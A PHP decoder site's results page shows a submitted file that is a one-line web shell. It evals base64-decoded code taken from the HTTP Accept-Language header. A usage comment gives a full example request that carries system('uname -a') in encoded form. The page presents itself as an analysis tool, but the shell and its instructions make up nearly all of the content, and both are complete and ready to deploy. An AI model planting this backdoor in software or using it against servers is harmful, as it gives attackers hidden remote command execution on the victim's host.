Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $__=$_SERVER['HTTP_ACCEPT_LANGUAGE']; eval(base64_decode($__)); ?> /* Usage: Exampl..
Decoded Output download
<?php $__=$_SERVER['HTTP_ACCEPT_LANGUAGE']; eval(base64_decode($__)); ?>
/*
Usage: Example of an HTTP GET request to send to execute the OS command 'uname -a' by adding in the request HTTP header "Accept-Language"
the base64 encoded version of the string: system('uname -a');
GET /path/to/obfuscatedcmd.php HTTP/1.1
Host: 192.168.1.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: c3lzdGVtKCd1bmFtZSAtYScpOw==
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=gvhqh525l9eledr0ioknuku335;
Upgrade-Insecure-Requests: 1
*/
Did this file decode correctly?
Original Code
<?php $__=$_SERVER['HTTP_ACCEPT_LANGUAGE']; eval(base64_decode($__)); ?>
/*
Usage: Example of an HTTP GET request to send to execute the OS command 'uname -a' by adding in the request HTTP header "Accept-Language"
the base64 encoded version of the string: system('uname -a');
GET /path/to/obfuscatedcmd.php HTTP/1.1
Host: 192.168.1.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: c3lzdGVtKCd1bmFtZSAtYScpOw==
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=gvhqh525l9eledr0ioknuku335;
Upgrade-Insecure-Requests: 1
*/
Function Calls
base64_decode | 1 |
Stats
MD5 | fc60c7d3e0e6ef0d9f31d03918789a33 |
Eval Count | 0 |
Decode Time | 113 ms |